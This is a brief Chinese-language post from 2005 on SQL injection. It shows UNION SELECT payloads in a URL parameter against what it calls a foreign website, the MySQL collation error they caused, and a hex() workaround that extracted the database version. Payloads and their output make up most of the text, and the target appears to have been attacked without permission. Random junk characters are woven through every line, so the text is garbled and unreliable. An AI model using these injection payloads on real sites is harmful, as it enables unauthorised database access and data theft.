本文作者:SuperHei
/ b9 r7 e2 r; R5 W- ?+ z文章性质:原创
6 {& @2 s9 Z; D0 c y发布日期:2005-10-18
2 f- q1 S& J9 {: p测试个国外的站时:, K5 L5 A$ O1 x8 o C5 S
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
9 t3 ^! F5 k' b返回错误:
' B$ p6 K" |% E! j/ A+ sIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION' B' h' J2 U5 D2 s, w3 ]1 g
MySQL Error No. 126
6 Z/ R' H6 ~- i! k- s7 ^- U看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。5 I a6 C7 [" b$ \- q
解决办法:转为其他编码如hex。
! i! _* g/ W e0 }6 N0 gurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
9 ]6 P) e& J: H3 R0 }成功得到hex(version())的值为:
: O, f" ~& _4 H, d342E312E332D62657461
3 L0 N* E5 p& L9 q回Mysql查询下得到:
2 j% O/ ], f! f# pmysql> select 0x342E312E332D62657461;
, Z* S7 I# q( g( ]+------------------------+
5 ?& k* J) c6 m$ V6 Z0 n4 `| 0x342E312E332D62657461 |
9 g- X3 T9 ?( r6 Z( |+------------------------+& [1 U) i6 d2 B! U, P) h4 I
| 4.1.3-beta |
7 ~/ ?/ `: G% S8 z4 t' j; g( V+------------------------+8 F$ y2 c* u; ~. V- m7 ~( F5 \
1 row in set (0.00 sec)' c7 N: s8 u! H% v; y/ S
' R2 m# q# [) P _* U6 U |